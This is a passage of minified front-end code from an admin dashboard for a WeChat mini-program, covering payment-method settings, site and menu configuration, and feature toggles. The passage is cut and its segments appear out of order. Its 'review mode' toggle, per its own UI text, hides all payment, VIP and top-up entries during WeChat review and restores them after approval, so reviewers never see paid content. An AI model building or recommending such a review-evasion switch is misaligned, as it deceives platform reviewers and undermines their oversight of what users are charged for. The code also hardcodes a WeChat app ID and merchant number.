text-white",placeholder:"AccessKey Secret",value:f.accessKeySecret??"",onChange:P=>m(K=>({...K,accessKeySecret:P.target.value}))})]})]})})]}),s.jsxs(Ce,{className:`bg-[#0f2137] shadow-xl ${u.auditMode?"border-amber-500/50 border-2":"border-gray-700/50"}`,children:[s.jsxs(Ye,{children:[s.jsxs(Qe,{className:"text-white flex items-center gap-2",children:[s.jsx(_c,{className:"w-5 h-5 text-amber-400"}),"小程序审核模式"]}),s.jsx(It,{className:"text-gray-400",children:"提交微信审核前开启,审核通过后关闭即可恢复支付功能"})]}),s.jsx(Ee,{children:s.jsxs("div",{className:`flex items-center justify-between p-4 rounded-lg border ${u.auditMode?"bg-amber-500/10 border-amber-500/30":"bg-[#0a1628] border-gray-700/50"}`,children:[s.jsxs("div",{className:"space-y-1",children:[s.jsxs("div",{className:"flex items-center gap-2",children:[s.jsx(_c,{className:`w-4 h-4 ${u.auditMode?"text-amber-400":"text-gray-400"}`}),s.jsx(X,{htmlFor:"audit-mode",className:"text-white font-medium cursor-pointer",children:u.auditMode?"审核模式(已开启)":"审核模式(已关闭)"})]}),s.jsx("p",{className:"text-xs text-gray-400 ml-6",children:u.auditMode?"当前已隐藏所有支付、VIP、充值、收益等入口,审核员看不到任何付费内容":"关闭状态,小程序正常显示所有功能(含支付、VIP 等)"})]}),s.jsx(kt,{id:"audit-mode",checked:u.auditMode??!1,disabled:fe,onCheckedChange:$})]})})]}),s.jsxs(Ce,{className:"bg-[#0f2137] border-gray-700/50 shadow-xl",children:[s.jsxs(Ye,{children:[s.jsxs(Qe,{className:"text-white flex items-center gap-2",children:[s.jsx(lo,{className:"w-5 h-5 text-[#38bdac]"}),"功能开关"]}),s.jsx(It,{className:"text-gray-400",children:"控制各个功能模块的显示/隐藏"})]}),s.jsxs(Ee,{className:"space-y-4",children:[s.jsxs("div",{className:"space-y-4",children:[s.jsxs("div",{className:"flex items-center justify-between p-4 rounded-lg bg-[#0a1628] border border-gray-700/50",children:[s.jsxs("div",{className:"space-y-1",children:[s.jsxs("div",{className:"flex items-center gap-2",children:[s.jsx(Zn,{className:"w-4 h-4 text-[#38bdac]"}),s.jsx(X,{htmlFor:"match-enabled",className:"text-white font-medium cursor-pointer",children:"找伙伴功能"})]}),s.jsx("p",{className:"text-xs text-gray-400 ml-6",children:"控制小程序和Web端的找伙伴功能显示"})]}),s.jsx(kt,{id:"match-enabled",checked:o.matchEnabled,disabled:R,onCheckedChange:P=>ne("matchEnabled",P)})]}),s.jsxs("div",{className:"flex items-center justify-between p-4 rounded-lg bg-[#0a1628] border border-gray-700/50",children:[s.jsxs("div",{className:"space-y-1",children:[s.jsxs("div",{className:"flex items-center gap-2",children:[s.jsx(Xw,{className:"w-4 h-4 text-[#38bdac]"}),s.jsx(X,{htmlFor:"referral-enabled",className:"text-white font-medium cursor-pointer",children:"推广功能"})]}),s.jsx("p",{className:"text-xs text-gray-400 ml-6",children:"控制推广中心的显示(我的页面入口)"})]}),s.jsx(kt,{id:"referral-enabled",checked:o.referralEnabled,disabled:R,onCheckedChange:P=>ne("referralEnabled",P)})]}),s.jsxs("div",{className:"flex items-center justify-between p-4 rounded-lg bg-[#0a1628] border border-gray-700/50",children:[s.jsxs("div",{className:"space-y-1",children:[s.jsxs("div",{className:"flex items-center gap-2",children:[s.jsx(Br,{className:"w-4 h-4 text-[#38bdac]"}),s.jsx(X,{htmlFor:"search-enabled",className:"text-white font-medium cursor-pointer",children:"搜索功能"})]}),s.jsx("p",{className:"text-xs text-gray-400 ml-6",children:"控制首页、目录页搜索栏的显示"})]}),s.jsx(kt,{id:"search-enabled",checked:o.searchEnabled,disabled:R,onCheckedChange:P=>ne("searchEnabled",P)})]}),s.jsxs("div",{className:"flex items-center justify-between p-4 rounded-lg bg-[#0a1628] border border-gray-700/50",children:[s.jsxs("div",{className:"space-y-1",children:[s.jsxs("div",{className:"flex items-center gap-2",children:[s.jsx(lo,{className:"w-4 h-4 text-[#38bdac]"}),s.jsx(X,{htmlFor:"about-enabled",className:"text-white font-medium cursor-pointer",children:"关于页面"})]}),s.jsx("p",{className:"text-xs text-gray-400 ml-6",children:"控制关于页面的访问"})]}),s.jsx(kt,{id:"about-enabled",checked:o.aboutEnabled,disabled:R,onCheckedChange:P=>ne("aboutEnabled",P)})]})]}),s.jsx("div",{className:"p-3 rounded-lg bg-blue-500/10 border border-blue-500/30",children:s.jsx("p",{className:"text-xs text-blue-300",children:"💡 关闭功能后,相关入口会自动隐藏。建议在功能开发完成后再开启。"})})]})]})]})}),s.jsx(en,{value:"author",className:"mt-0",children:s.jsx(uV,{})}),s.jsx(en,{value:"admin",className:"mt-0",children:s.jsx(hV,{})}),s.jsx(en,{value:"api-docs",className:"mt-0",children:s.jsx(F4,{})})]}),s.jsx(Dt,{open:v,onOpenChange:k,children:s.jsxs(At,{className:"bg-[#0f2137] border-gray-700 text-white",showCloseButton:!0,children:[s.jsxs(Lt,{children:[s.jsx(_t,{className:O?"text-red-400":"text-[#38bdac]",children:C}),s.jsx(yf,{className:"text-gray-400 whitespace-pre-wrap pt-2",children:T})]}),s.jsx(on,{className:"mt-4",children:s.jsx(te,{onClick:()=>k(!1),className:O?"bg-gray-600 hover:bg-gray-500":"bg-[#38bdac] hover:bg-[#2da396]",children:"确定"})})]})})]})}const ww={wechat:{enabled:!0,qrCode:"/images/wechat-pay.png",account:"卡若",websiteAppId:"",merchantId:"",groupQrCode:"/images/party-group-qr.png"},alipay:{enabled:!0,qrCode:"/images/alipay.png",account:"卡若",partnerId:"",securityKey:""},usdt:{enabled:!1,network:"TRC20",address:"",exchangeRate:7.2},paypal:{enabled:!1,email:"",exchangeRate:7.2}};function bV(){const[t,e]=b.useState(!1),[n,r]=b.useState(ww),[a,i]=b.useState(""),o=async()=>{e(!0);try{const k=await De("/api/config");k!=null&&k.paymentMethods&&r({...ww,...k.paymentMethods})}catch(k){console.error(k)}finally{e(!1)}};b.useEffect(()=>{o()},[]);const c=async()=>{e(!0);try{await vt("/api/db/config",{key:"payment_methods",value:n,description:"支付方式配置"}),ie.success("配置已保存!")}catch(k){console.error("保存失败:",k),ie.error("保存失败: "+(k instanceof Error?k.message:String(k)))}finally{e(!1)}},u=(k,C)=>{navigator.clipboard.writeText(k),i(C),setTimeout(()=>i(""),2e3)},h=(k,C)=>{r(E=>({...E,wechat:{...E.wechat,[k]:C}}))},f=(k,C)=>{r(E=>({...E,alipay:{...E.alipay,[k]:C}}))},m=(k,C)=>{r(E=>({...E,usdt:{...E.usdt,[k]:C}}))},g=(k,C)=>{r(E=>({...E,paypal:{...E.paypal,[k]:C}}))},y=n.wechat,N=n.alipay,w=n.usdt,v=n.paypal;return s.jsxs("div",{className:"p-8 w-full",children:[s.jsxs("div",{className:"flex justify-between items-center mb-8",children:[s.jsxs("div",{children:[s.jsx("h1",{className:"text-2xl font-bold mb-2 text-white",children:"支付配置"}),s.jsx("p",{className:"text-gray-400",children:"配置微信、支付宝、USDT、PayPal等支付参数"})]}),s.jsxs("div",{className:"flex gap-3",children:[s.jsxs(te,{variant:"outline",onClick:o,className:"border-gray-600 text-gray-300 hover:bg-gray-700/50 bg-transparent",children:[s.jsx(Ke,{className:`w-4 h-4 mr-2 ${t?"animate-spin":""}`}),"同步配置"]}),s.jsxs(te,{onClick:c,className:"bg-[#38bdac] hover:bg-[#2da396] text-white",children:[s.jsx(bn,{className:"w-4 h-4 mr-2"}),"保存配置"]})]})]}),s.jsx("div",{className:"mb-6 bg-[#07C160]/10 border border-[#07C160]/30 rounded-xl p-4",children:s.jsxs("div",{className:"flex items-start gap-3",children:[s.jsx(Gw,{className:"w-5 h-5 text-[#07C160] flex-shrink-0 mt-0.5"}),s.jsxs("div",{className:"text-sm",children:[s.jsx("p",{className:"font-medium mb-2 text-[#07C160]",children:"如何获取微信群跳转链接?"}),s.jsxs("ol",{className:"text-[#07C160]/80 space-y-1 list-decimal list-inside",children:[s.jsx("li",{children:"打开微信,进入目标微信群"}),s.jsx("li",{children:'点击右上角"..." → "群二维码"'}),s.jsx("li",{children:'点击右上角"..." → "发送到电脑"'}),s.jsx("li",{children:"在电脑上保存二维码图片,上传到图床获取URL"}),s.jsx("li",{children:"或使用草料二维码等工具解析二维码获取链接"})]}),s.jsx("p",{className:"text-[#07C160]/60 mt-2",children:"提示:微信群二维码7天后失效,建议使用活码工具"})]})]})}),s.jsxs(yd,{defaultValue:"wechat",className:"space-y-6",children:[s.jsxs(Ll,{className:"bg-[#0f2137] border border-gray-700/50 p-1 grid grid-cols-4 w-full",children:[s.jsxs(Zt,{value:"wechat",className:"data-[state=active]:bg-[#07C160]/20 data-[state=active]:text-[#07C160] text-gray-400",children:[s.jsx(yi,{className:"w-4 h-4 mr-2"}),"微信"]}),s.jsxs(Zt,{value:"alipay",className:"data-[state=active]:bg-[#1677FF]/20 data-[state=active]:text-[#1677FF] text-gray-400",children:[s.jsx(Fv,{className:"w-4 h-4 mr-2"}),"支付宝"]}),s.jsxs(Zt,{value:"usdt",className:"data-[state=active]:bg-[#26A17B]/20 data-[state=active]:text-[#26A17B] text-gray-400",children:[s.jsx(zv,{className:"w-4 h-4 mr-2"}),"USDT"]}),s.jsxs(Zt,{value:"paypal",className:"data-[state=active]:bg-[#003087]/20 data-[state=active]:text-[#169BD7] text-gray-400",children:[s.jsx(Rg,{className:"w-4 h-4 mr-2"}),"PayPal"]})]}),s.jsx(en,{value:"wechat",className:"space-y-4",children:s.jsxs(Ce,{className:"bg-[#0f2137] border-gray-700/50 shadow-xl",children:[s.jsxs(Ye,{className:"flex flex-row items-center justify-between pb-2",children:[s.jsxs("div",{className:"space-y-1",children:[s.jsxs(Qe,{className:"text-[#07C160] flex items-center gap-2",children:[s.jsx(yi,{className:"w-5 h-5"}),"微信支付配置"]}),s.jsx(It,{className:"text-gray-400",children:"配置微信支付参数和跳转链接"})]}),s.jsx(kt,{checked:!!y.enabled,onCheckedChange:k=>h("enabled",k)})]}),s.jsxs(Ee,{className:"space-y-4",children:[s.jsxs("div",{className:"grid grid-cols-2 gap-4",children:[s.jsxs("div",{className:"space-y-2",children:[s.jsx(X,{className:"text-gray-300",children:"网站AppID"}),s.jsx(se,{className:"bg-[#0a1628] border-gray-700 text-white font-mono text-sm",value:String(y.websiteAppId??""),onChange:k=>h("websiteAppId",k.target.value)})]}),s.jsxs("div",{className:"space-y-2",children:[s.jsx(X,{className:"text-gray-300",children:"商户号"}),s.jsx(se,{className:"bg-[#0a1628] border-gray-700 text-white font-mono text-sm",value:String(y.merchantId??""),onChange:k=>h("merchantId",k.target.value)})]})]}),s.jsxs("div",{className:"border-t border-gray-700/50 pt-4 space-y-4",children:[s.jsxs("h4",{className:"text-white font-medium flex items-center gap-2",children:[s.jsx(Us,{className:"w-4 h-4 text-[#38bdac]"}),"跳转链接配置(核心功能)"]}),s.jsxs("div",{className:"space-y-2",children:[s.jsx(X,{className:"text-gray-300",children:"微信收款码/支付链接"}),s.jsx(se,{className:"bg-[#0a1628] border-gray-700 text-white placeholder:text-gray-500",placeholder:"https://收款码图片URL 或 weixin://支付链接",value:String(y.qrCode??""),onChange:k=>h("qrCode",k.target.value)}),s.jsx("p",{className:"text-xs text-gray-500",children:"用户点击微信支付后显示的二维码图片URL"})]}),s.jsxs("div",{className:"space-y-2 bg-[#07C160]/5 p-4 rounded-xl border border-[#07C160]/20",children:[s.jsx(X,{className:"text-[#07C160] font-medium",children:"微信群跳转链接(支付成功后跳转)"}),s.jsx(se,{className:"bg-[#0a1628] border-[#07C160]/30 text-white placeholder:text-gray-500",placeholder:"https://weixin.qq.com/g/... 或微信群二维码图片URL",value:String(y.groupQrCode??""),onChange:k=>h("groupQrCode",k.target.value)}),s.jsx("p",{className:"text-xs text-[#07C160]/70",children:"用户支付成功后将自动跳转到此链接,进入指定微信群"})]})]})]})]})}),s.jsx(en,{value:"alipay",className:"space-y-4",children:s.jsxs(Ce,{className:"bg-[#0f2137] border-gray-700/50 shadow-xl",children:[s.jsxs(Ye,{className:"flex flex-row items-center justify-between pb-2",children:[s.jsxs("div",{className:"space-y-1",children:[s.jsxs(Qe,{className:"text-[#1677FF] flex items-center gap-2",children:[s.jsx(Fv,{className:"w-5 h-5"}),"支付宝配置"]}),s.jsx(It,{className:"text-gray-400",children:"已加载真实支付宝参数"})]}),s.jsx(kt,{checked:!!N.enabled,onCheckedChange:k=>f("enabled",k)})]}),s.jsxs(Ee,{className:"space-y-4",children:[s.jsxs("div",{className:"grid grid-cols-2 gap-4",children:[s.jsxs("div",{className:"space-y-2",children:[s.jsx(X,{className:"text-gray-300",children:"合作者身份 (PID)"}),s.jsxs("div",{className:"flex gap-2",children:[s.jsx(se,{className:"bg-[#0a1628] border-gray-700 text-white font-mono text-sm",value:String(N.partnerId??""),onChange:k=>f("partnerId",k.target.value)}),s.jsx(te,{size:"icon",variant:"outline",className:"border-gray-700 bg-transparent",onClick:()=>u(String(N.partnerId??""),"pid"),children:a==="pid"?s.jsx(ff,{className:"w-4 h-4 text-green-500"}):s.jsx(Bx,{className:"w-4 h-4 text-gray-400"})})]})]}),s.jsxs("div",{className:"space-y-2",children:[s.jsx(X,{className:"text-gray-300",children:"安全校验码 (Key)"}),s.jsx(se,{type:"password",className:"bg-[#0a1628] border-gray-700 text-white font-mono text-sm",value:String(N.securityKey??""),onChange:k=>f("securityKey",k.target.value)})]})]}),s.jsxs("div",{className:"border-t border-gray-700/50 pt-4 space-y-4",children:[s.jsxs("h4",{className:"text-white font-medium flex items-center gap-2",children:[s.jsx(Us,{className:"w-4 h-4 text-[#38bdac]"}),"跳转链接配置"]}),s.jsxs("div",{className:"space-y-2",children:[s.jsx(X,{className:"text-gray-300",children:"支付宝收款码/跳转链接"}),s.jsx(se,{className:"bg-[#0a1628] border-gray-700 text-white placeholder:text-gray-500",placeholder:"https://qr.alipay.com/... 或收款码图片URL",value:String(N.qrCode??""),onChange:k=>f("qrCode",k.target.value)}),s.jsx("p",{className:"text-xs text-gray-500",children:"用户点击支付宝支付后显示的二维码"})]})]})]})]})}),s.jsx(en,{value:"usdt",className:"space-y-4",children:s.jsxs(Ce,{className:"bg-[#0f2137] border-gray-700/50 shadow-xl",children:[s.jsxs(Ye,{className:"flex flex-row items-center justify-between pb-2",children:[s.jsxs("div",{className:"space-y-1",children:[s.jsxs(Qe,{className:"text-[#26A17B] flex items-center gap-2",children:[s.jsx(zv,{className:"w-5 h-5"}),"USDT配置"]}),s.jsx(It,{className:"text-gray-400",children:"配置加密货币收款地址"})]}),s.jsx(kt,{checked:!!w.enabled,onCheckedChange:k=>m("enabled",k)})]}),s.jsxs(Ee,{className:"space-y-4",children:[s.jsxs("div",{className:"space-y-2",children:[s.jsx(X,{className:"text-gray-300",children:"网络类型"}),s.jsxs("select",{className:"w-full bg-[#0a1628] border border-gray-700 text-white rounded-md p-2",value:String(w.network??"TRC20"),onChange:k=>m("network",k.target.value),children:[s.jsx("option",{value:"TRC20",children:"TRC20 (波场)"}),s.jsx("option",{value:"ERC20",children:"ERC20 (以太坊)"}),s.jsx("option",{value:"BEP20",children:"BEP20 (币安链)"})]})]}),s.jsxs("div",{className:"space-y-2",children:[s.jsx(X,{className:"text-gray-300",children:"收款地址"}),s.jsx(se,{className:"bg-[#0a1628] border-gray-700 text-white font-mono text-sm",placeholder:"T... (TRC20地址)",value:String(w.address??""),onChange:k=>m("address",k.target.value)})]}),s.jsxs("div",{className:"space-y-2",children:[s.jsx(X,{className:"text-gray-300",children:"汇率 (1 USD = ? CNY)"}),s.jsx(se,{type:"number",className:"bg-[#0a1628] border-gray-700 text-white",value:Number(w.exchangeRate)??7.2,onChange:k=>m("exchangeRate",Number.parseFloat(k.target.value)||7.2)})]})]})]})}),s.jsx(en,{value:"paypal",className:"space-y-4",children:s.jsxs(Ce,{className:"bg-[#0f2137] border-gray-700/50 shadow-xl",children:[s.jsxs(Ye,{className:"flex flex-row items-center justify-between pb-2",children:[s.jsxs("div",{className:"space-y-1",children:[s.jsxs(Qe,{className:"text-[#169BD7] flex items-center gap-2",children:[s.jsx(Rg,{className:"w-5 h-5"}),"PayPal配置"]}),s.jsx(It,{className:"text-gray-400",children:"配置PayPal收款账户"})]}),s.jsx(kt,{checked:!!v.enabled,onCheckedChange:k=>g("enabled",k)})]}),s.jsxs(Ee,{className:"space-y-4",children:[s.jsxs("div",{className:"space-y-2",children:[s.jsx(X,{className:"text-gray-300",children:"PayPal邮箱"}),s.jsx(se,{className:"bg-[#0a1628] border-gray-700 text-white",placeholder:"your@email.com",value:String(v.email??""),onChange:k=>g("email",k.target.value)})]}),s.jsxs("div",{className:"space-y-2",children:[s.jsx(X,{className:"text-gray-300",children:"汇率 (1 USD = ? CNY)"}),s.jsx(se,{type:"number",className:"bg-[#0a1628] border-gray-700 text-white",value:Number(v.exchangeRate)??7.2,onChange:k=>g("exchangeRate",Number(k.target.value)||7.2)})]})]})]})})]})]})}const vV={siteName:"卡若日记",siteTitle:"一场SOUL的创业实验场",siteDescription:"来自Soul派对房的真实商业故事",logo:"/logo.png",favicon:"/favicon.ico",primaryColor:"#00CED1"},NV={home:{enabled:!0,label:"首页"},chapters:{enabled:!0,label:"目录"},match:{enabled:!0,label:"匹配"},my:{enabled:!0,label:"我的"}},wV={homeTitle:"一场SOUL的创业实验场",homeSubtitle:"来自Soul派对房的真实商业故事",chaptersTitle:"我要看",matchTitle:"语音匹配",myTitle:"我的",aboutTitle:"关于作者"};function jV(){const[t,e]=b.useState({siteConfig:{...vV},menuConfig:{...NV},pageConfig:{...wV}}),[n,r]=b.useState(!1),[a,i]=b.useState(!1);b.useEffect(()=>{De("/api/config").then(f=>{f!=null&&f.siteConfig&&e(m=>({...m,siteConfig:{...m.siteConfig,...f.siteConfig}})),f!=null&&f.menuConfig&&e(m=>({...m,menuConfig:{...m.menuConfig,...f.menuConfig}})),f!=null&&f.pageConfig&&e(m=>({...m,pageConfig:{...m.pageConfig,...f.pageConfig}}))}).catch(console.error)},[]);const o=async()=>{i(!0);try{await vt("/api/db/config",{key:"site_config",value:t.siteConfig,description:"网站基础配置"}),await vt("/api/db/config",{key:"menu_config",value:t.menuConfig,description:"底部菜单配置"}),await vt("/api/db/config",{key:"page_config",value:t.pageConfig,description:"页面标题配置"}),r(!0),setTimeout(()=>r(!1),2e3),ie.success("配置已保存")}catch(f){console.error(f),ie.error("保存失败: "+(f instanceof Error?f.message:String(f)))}finally{i(!1)}},c=t.siteConfig,u=t.menuConfig,h=t.pageConfig;return s.jsxs("div",{className:"p-8 w-full",children:[s.jsxs("div",{className:"flex justify-between items-center mb-8",children:[s.jsxs("div",{children:[s.jsx("h2",{className:"text-2xl font-bold text-white",children:"网站配置"}),s.jsx("p",{className:"text-gray-400 mt-1",children:"配置网站名称、图标、菜单和页面标题"})]}),s.jsxs(te,{onClick:o,disabled:a,className:`${n?"bg-green-500":"bg-[#00CED1]"} hover:bg-[#20B2AA] text-white transition-colors`,children:[s.jsx(bn,{className:"w-4 h-4 mr-2"}),a?"保存中...":n?"已保存":"保存设置"]})]}),s.jsxs("div",{className:"space-y-6",children:[s.jsxs(Ce,{className:"bg-[#0f2137] border-gray-700/50 shadow-xl",children:[s.jsxs(Ye,{children:[s.jsxs(Qe,{className:"text-white flex items-center gap-2",children:[s.jsx(Rg,{className:"w-5 h-5 text-[#00CED1]"}),"网站基础信息"]}),s.jsx(It,{className:"text-gray-400",children:"配置网站名称、标题和描述"})]}),s.jsxs(Ee,{className:"space-y-4",children:[s.jsxs("div",{className:"grid grid-cols-2 gap-4",children:[s.jsxs("div",{className:"space-y-2",children:[s.jsx(X,{htmlFor:"site-name",className:"text-gray-300",children:"网站名称"}),s.jsx(se,{id:"site-name",className:"bg-[#0a1628] border-gray-700 text-white",value:c.siteName??"",onChange:f=>e(m=>({...m,siteConfig:{...m.siteConfig,siteName:f.target.value}}))})]}),s.jsxs("div",{className:"space-y-2",children:[s.jsx(X,{htmlFor:"site-title",className:"text-gray-300",children:"网站标题"}),s.jsx(se,{id:"site-title",className:"bg-[#0a1628] border-gray-700 text-white",value:c.siteTitle??"",onChange:f=>e(m=>({...m,siteConfig:{...m.siteConfig,siteTitle:f.target.value}}))})]})]}),s.jsxs("div",{className:"space-y-2",children:[s.jsx(X,{htmlFor:"site-desc",className:"text-gray-300",children:"网站描述"}),s.jsx(se,{id:"site-desc",className:"bg-[#0a1628] border-gray-700 text-white",value:c.siteDescription??"",onChange:f=>e(m=>({...m,siteConfig:{...m.siteConfig,siteDescription:f.target.value}}))})]}),s.jsxs("div",{className:"grid grid-cols-2 gap-4",children:[s.jsxs("div",{className:"space-y-2",children:[s.jsx(X,{htmlFor:"logo",className:"text-gray-300",children:"Logo地址"}),s.jsx(se,{id:"logo",className:"bg-[#0a1628] border-gray-700 text-white",value:c.logo??"",onChange:f=>e(m=>({...m,siteConfig:{...m.siteConfig,logo:f.target.value}}))})]}),s.jsxs("div",{className:"space-y-2",children:[s.jsx(X,{htmlFor:"favicon",className:"text-gray-300",children:"Favicon地址"}),s.jsx(se,{id:"favicon",className:"bg-[#0a1628] border-gray-700 text-white",value:c.favicon??"",onChange:f=>e(m=>({...m,siteConfig:{...m.siteConfig,favicon:f.target.value}}))})]})]})]})]}),s.jsxs(Ce,{className:"bg-[#0f2137] border-gray-700/50 shadow-xl",children:[s.jsxs(Ye,{children:[s.jsxs(Qe,{className:"text-white flex items-center gap-2",children:[s.jsx(cA,{className:"w-5 h-5 text-[#00CED1]"}),"主题颜色"]}),s.jsx(It,{className:"text-gray-400",children:"配置网站主题色"})]}),s.jsx(Ee,{children:s.jsxs("div",{className:"flex items-center gap-4",children:[s.jsxs("div",{className:"space-y-2 flex-1",children:[s.jsx(X,{htmlFor:"primary-color",className:"text-gray-300",children:"主色调"}),s.jsxs("div",{className:"flex items-center gap-3",children:[s.jsx(se,{id:"primary-color",type:"color",className:"w-16 h-10 bg-[#0a1628] border-gray-700 cursor-pointer p-1",value:c.primaryColor??"#00CED1",onChange:f=>e(m=>({...m,siteConfig:{...m.siteConfig,primaryColor:f.target.value}}))}),s.jsx(se,{className:"bg-[#0a1628] border-gray-700 text-white flex-1",value:c.primaryColor??"#00CED1",onChange:f=>e(m=>({...m,siteConfig:{...m.siteConfig,primaryColor:f.target.value}}))})]})]}),s.jsx("div",{className:"w-24 h-24 rounded-xl flex items-center justify-center text-white font-bold",style:{backgroundColor:c.primaryColor??"#00CED1"},children:"预览"})]})})]}),s.jsxs(Ce,{className:"bg-[#0f2137] border-gray-700/50 shadow-xl",children:[s.jsxs(Ye,{children:[s.jsxs(Qe,{className:"text-white flex items-center gap-2",children:[s.jsx(nA,{className:"w-5 h-5 text-[#00CED1]"}),"底部菜单配置"]}),s.jsx(It,{className:"text-gray-400",children:"控制底部导航栏菜单的显示和名称"})]}),s.jsx(Ee,{className:"space-y-4",children:Object.entries(u).map(([f,m])=>s.jsxs("div",{className:"flex items-center justify-between p-4 bg-[#0a1628] rounded-lg",children:[s.jsxs("div",{className:"flex items-center gap-4 flex-1",children:[s.jsx(kt,{checked:(m==null?void 0:m.enabled)??!0,onCheckedChange:g=>e(y=>({...y,menuConfig:{...y.menuConfig,[f]:{...m,enabled:g}}}))}),s.jsx("span",{className:"text-gray-300 w-16 capitalize",children:f}),s.jsx(se,{className:"bg-[#0f2137] border-gray-700 text-white max-w-[200px]",value:(m==null?void 0:m.label)??"",onChange:g=>e(y=>({...y,menuConfig:{...y.menuConfig,[f]:{...m,label:g.target.value}}}))})]}),s.jsx("span",{className:`text-sm ${m!=null&&m.enabled?"text-green-400":"text-gray-500"}`,children:m!=null&&m.enabled?"显示":"隐藏"})]},f))})]}),s.jsxs(Ce,{className:"bg-[#0f2137] border-gray-700/50 shadow-xl",children:[s.jsxs(Ye,{children:[s.jsxs(Qe,{className:"text-white flex items-center gap-2",children:[s.jsx(Yw,{className:"w-5 h-5 text-[#00CED1]"}),"页面标题配置"]}),s.jsx(It,{className:"text-gray-400",children:"配置各个页面的标题和副标题"})]}),s.jsxs(Ee,{className:"space-y-4",children:[s.jsxs("div",{className:"grid grid-cols-2 gap-4",children:[s.jsxs("div",{className:"space-y-2",children:[s.jsx(X,{className:"text-gray-300",children:"首页标题"}),s.jsx(se,{className:"bg-[#0a1628] border-gray-700 text-white",value:h.homeTitle??"",onChange:f=>e(m=>({...m,pageConfig:{...m.pageConfig,homeTitle:f.target.value}}))})]}),s.jsxs("div",{className:"space-y-2",children:[s.jsx(X,{className:"text-gray-300",children:"首页副标题"}),s.jsx(se,{className:"bg-[#0a1628] border-gray-700 text-white",value:h.homeSubtitle??"",onChange:f=>e(m=>({...m,pageConfig:{...m.pageConfig,homeSubtitle:f.target.value}}))})]})]}),s.jsxs("div",{className:"grid grid-cols-2 gap-4",children:[s.jsxs("div",{className:"space-y-2",children:[s.jsx(X,{className:"text-gray-300",children:"目录页标题"}),s.jsx(se,{className:"bg-[#0a1628] border-gray-700 text-white",value:h.chaptersTitle??"",onChange:f=>e(m=>({...m,pageConfig:{...m.pageConfig,chaptersTitle:f.target.value}}))})]}),s.jsxs("div",{className:"space-y-2",children:[s.jsx(X,{className:"text-gray-300",children:"匹配页标题"}),s.jsx(se,{className:"bg-[#0a1628] border-gray-700 text-white",value:h.matchTitle??"",onChange:f=>e(m=>({...m,pageConfig:{...m.pageConfig,matchTitle:f.target.value}}))})]})]}),s.jsxs("div",{className:"grid grid-cols-2 gap-4",children:[s.jsxs("div",{className:"space-y-2",children:[s.jsx(X,{className:"text-gray-300",children:"我的页标题"}),s.jsx(se,{className:"bg-[#0a1628] border-gray-700 text-white",value:h.myTitle??"",onChange:f=>e(m=>({...m,pageConfig:{...m.pageConfig,myTitle:f.target.value}}))})]}),s.jsxs("div",{className:"space-y-2",children:[s.jsx(X,{className:"text-gray-300",children:"关于作者标题"}),s.jsx(se,{className:"bg-[#0a1628] border-gray-700 text-white",value:h.aboutTitle??"",onChange:f=>e(m=>({...m,pageConfig:{...m.pageConfig,aboutTitle:f.target.value}}))})]})]})]})]})]})]})}function kV(){const[t,e]=b.useState(""),[n,r]=b.useState(""),[a,i]=b.useState(""),[o,c]=b.useState({}),u=async()=>{var y,N,w,v;try{const k=await De("/api/config"),C=(N=(y=k==null?void 0:k.liveQRCodes)==null?void 0:y[0])==null?void 0:N.urls;Array.isArray(C)&&e(C.join(` +}`})]})]}),s.jsx("p",{className:"text-gray-500 text-xs mt-6",children:"管理端仅使用 /api/admin/*、/api/db/*;小程序使用 /api/miniprogram/*。完整实现见 soul-api 源码。"})]})}const fV={appId:"wxb8bbb2b10dec74aa",withdrawSubscribeTmplId:"u3MbZGPRkrZIk-I7QdpwzFxnO_CeQPaCWF2FkiIablE",mchId:"1318592501",minWithdraw:10},pV={name:"卡若",startDate:"2025年10月15日",bio:"连续创业者,私域运营专家,每天早上6-9点在Soul派对房分享真实商业故事",liveTime:"06:00-09:00",platform:"Soul派对房",description:"连续创业者,私域运营专家"},mV={sectionPrice:1,baseBookPrice:9.9,distributorShare:90,authorInfo:{...pV},ckbLeadApiKey:""},gV={matchEnabled:!0,referralEnabled:!0,searchEnabled:!0,aboutEnabled:!0},xV=["system","author","admin","api-docs"];function yV(){const[t,e]=Ww(),n=t.get("tab")??"system",r=xV.includes(n)?n:"system",[a,i]=b.useState(mV),[o,c]=b.useState(gV),[u,h]=b.useState(fV),[f,m]=b.useState({}),[g,y]=b.useState(!1),[N,w]=b.useState(!0),[v,k]=b.useState(!1),[C,E]=b.useState(""),[T,I]=b.useState(""),[O,L]=b.useState(!1),[R,D]=b.useState(!1),z=(P,q,B=!1)=>{E(P),I(q),L(B),k(!0)};b.useEffect(()=>{(async()=>{try{const q=await De("/api/admin/settings");if(!q||q.success===!1)return;if(q.featureConfig&&Object.keys(q.featureConfig).length&&c(B=>({...B,...q.featureConfig})),q.mpConfig&&typeof q.mpConfig=="object"&&h(B=>({...B,...q.mpConfig})),q.ossConfig&&typeof q.ossConfig=="object"&&m(B=>({...B,...q.ossConfig})),q.siteSettings&&typeof q.siteSettings=="object"){const B=q.siteSettings;i(_=>({..._,...typeof B.sectionPrice=="number"&&{sectionPrice:B.sectionPrice},...typeof B.baseBookPrice=="number"&&{baseBookPrice:B.baseBookPrice},...typeof B.distributorShare=="number"&&{distributorShare:B.distributorShare},...B.authorInfo&&typeof B.authorInfo=="object"&&{authorInfo:{..._.authorInfo,...B.authorInfo}},...typeof B.ckbLeadApiKey=="string"&&{ckbLeadApiKey:B.ckbLeadApiKey}}))}}catch(q){console.error("Load settings error:",q)}finally{w(!1)}})()},[]);const Z=async(P,q)=>{D(!0);try{const B=await vt("/api/admin/settings",{featureConfig:P});if(!B||B.success===!1){q(),z("保存失败",(B==null?void 0:B.error)??"未知错误",!0);return}z("已保存","功能开关已更新,相关入口将随之显示或隐藏。")}catch(B){console.error("Save feature config error:",B),q(),z("保存失败",B instanceof Error?B.message:String(B),!0)}finally{D(!1)}},ne=(P,q)=>{const B=o,_={...B,[P]:q};c(_),Z(_,()=>c(B))},[fe,xe]=b.useState(!1),$=async P=>{const q=u,B={...q,auditMode:P};h(B),xe(!0);try{const _=await vt("/api/admin/settings",{mpConfig:B});if(!_||_.success===!1){h(q),z("保存失败",(_==null?void 0:_.error)??"未知错误",!0);return}z("已保存",P?"审核模式已开启,小程序将隐藏所有支付入口。":"审核模式已关闭,支付功能已恢复。")}catch(_){h(q),z("保存失败",_ instanceof Error?_.message:String(_),!0)}finally{xe(!1)}},H=async()=>{y(!0);try{const P=await vt("/api/admin/settings",{featureConfig:o,siteSettings:{sectionPrice:a.sectionPrice,baseBookPrice:a.baseBookPrice,distributorShare:a.distributorShare,authorInfo:a.authorInfo,ckbLeadApiKey:a.ckbLeadApiKey||void 